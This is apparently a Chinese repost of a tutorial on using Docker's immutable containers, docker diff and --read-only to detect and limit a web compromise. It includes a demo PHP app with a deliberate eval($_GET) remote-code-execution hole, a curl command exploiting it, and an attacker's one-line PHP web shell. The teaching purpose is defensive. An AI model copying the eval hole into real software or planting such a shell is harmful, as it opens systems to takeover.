掌握聚合最新动态了解行业最新趋势
API接口,开发服务,免费咨询服务

使用不可变基础设施让系统更安全

Docker容器的好处之一,就是它们都是不可变的(immutable)。Docker内置了一个copy-on-write文件系统,这意味着基础镜像无法被修改,除非你明确的发起一个commit

它的作用之一,就是让你可以轻松的检查drift,在你尝试调查安全事件的时候,它会为你提供方便。

Demo程序

我们用下面这个基础设施来举例:

这个系统的前端是一个PHP程序,后端数据库使用的是MySQL服务器。你可以通过下面的代码来进行尝试:

 ➜ docker run -d --name db -e MYSQL_ROOT_PASSWORD=insecurepwd mariadb

➜ docker run -d -p 80:80 --link db:db diogomonica/phphack

在配置好前端和数据库之后,你应该会看到下面这个提示:

 

很不幸,和其他PHP程序一样,这个程序也有一个远程代码执行漏洞:

if($links) {  

<h3>Links found</h3>  

...

eval($_GET['shell']);  

?>

看上去有在偷偷使用eval任何攻击者都能够使用这个漏洞,并且在远程host上执行任意指令:

 ➜ curl -s http://localhost/\?shell\=system\("id"\)\; | grep "uid="

uid=33(www-data) gid=33(www-data) groups=33(www-data)

任何攻击者都可以通过下载PHP shelltoolkit对你的网站进行攻击,有的攻击者甚至还会更改你的网站设计:

 

修复

我们接着再来看不可变基础设施,这个东西能让我们清楚的看到系统上所有出现过的变更。使用docker diff命令,我们就可以看到攻击者在系统中都做了哪些修改:

 ➜ docker diff pensive_meitner

C /run  

C /run/apache2  

A /run/apache2/apache2.pid  

C /run/lock  

C /run/lock/apache2  

C /var  

C /var/www  

C /var/www/html  

C /var/www/html/index.html  

A /var/www/html/shell.php  

看起来攻击者不仅修改了我们的index.html,还下载了一个php-shell。现在我们最主要的工作,就是让网站重新上线。

使用docker commit我们可以将这个镜像保存,以供日后参考,而由于容器是不可变的,因此我们只需要重启容器,就可以让网站重新上线:

➜ docker commit pensive_meitner

sha256:ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3  

➜ docker kill pensive_meitner

➜ docker run -d -p 80:80 --link db:db diogomonica/phphack

 

 

我们现在再来看那个保存下来的镜像,看看攻击者究竟都修改了什么:

 ➜ docker run -it ebc3cb7c3a312696e3fd492d0c384fe18550ef99af5244f0fa6d692b09fd0af3 sh

# cat index.html

<blink>HACKED BY SUPER ELITE GROUP OF HACKERS</blink>  

# cat shell.php

<?php  

eval($_GET['cmd']);  

?>

貌似我们被著名的SUPER ELITE GROUP OF HACKERS攻击了。 ¯\()

增加黑客攻击成本

在被攻击后查看攻击内容是一个很实用的功能,但是如何才能避免被攻击?这个时候--read-only就要发挥作用了。

--read-only会让Docker不允许任何在容器的file-system内进行写入操作。它可以避免index.php被修改,更重要的是,它不会允许攻击者下载php shell,以及任何其他对于攻击者来说有用的工具。

我们下载来试验一下:

 ➜ docker run -p 80:80 --link db:db -v /tmp/apache2:/var/run/apache2/ -v /tmp/apache:/var/lock/apache2/ --sig-proxy=false --read-only diogomonica/phphack

...

172.17.0.1 - - [04/Sep/2016:03:59:06 +0000] "GET / HTTP/1.1" 200 219518 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48"  

sh: 1: cannot create index.html: Read-only file system

由于我们的文件系统现在是只读状态,因此攻击者无法修改index.html

这个方法能阻止左右攻击吗?

肯定是不可以的。在我们能够修复RCE漏洞之前,攻击者依然可以在host上运行代码,偷取我们的权限,在数据库中盗取数据。但是尽管如此,我们毕竟通过这个简单的方法提升了黑客的攻击难度,让系统变得更安全了一些。

总结

系统的安全性永远无法达到完美,但是使用不可变基础设施能让我们更快的进行响应、修复。


qrcode_for_gh_9de197bcc61b_258.jpg

原文来自:SDK.cn

声明:所有来源为“聚合数据”的内容信息,未经本网许可,不得转载!如对内容有异议或投诉,请与我们联系。邮箱:marketing@think-land.com

  • 营运车判定查询

    输入车牌号码或车架号,判定是否属于营运车辆。

    输入车牌号码或车架号,判定是否属于营运车辆。

  • 名下车辆数量查询

    根据身份证号码/统一社会信用代码查询名下车辆数量。

    根据身份证号码/统一社会信用代码查询名下车辆数量。

  • 车辆理赔情况查询

    根据身份证号码/社会统一信用代码/车架号/车牌号,查询车辆是否有理赔情况。

    根据身份证号码/社会统一信用代码/车架号/车牌号,查询车辆是否有理赔情况。

  • 车辆过户次数查询

    根据身份证号码/社会统一信用代码/车牌号/车架号,查询车辆的过户次数信息。

    根据身份证号码/社会统一信用代码/车牌号/车架号,查询车辆的过户次数信息。

  • 风险人员分值

    根据姓名和身份证查询风险人员分值。

    根据姓名和身份证查询风险人员分值。

0512-88869195
数 据 驱 动 未 来
Data Drives The Future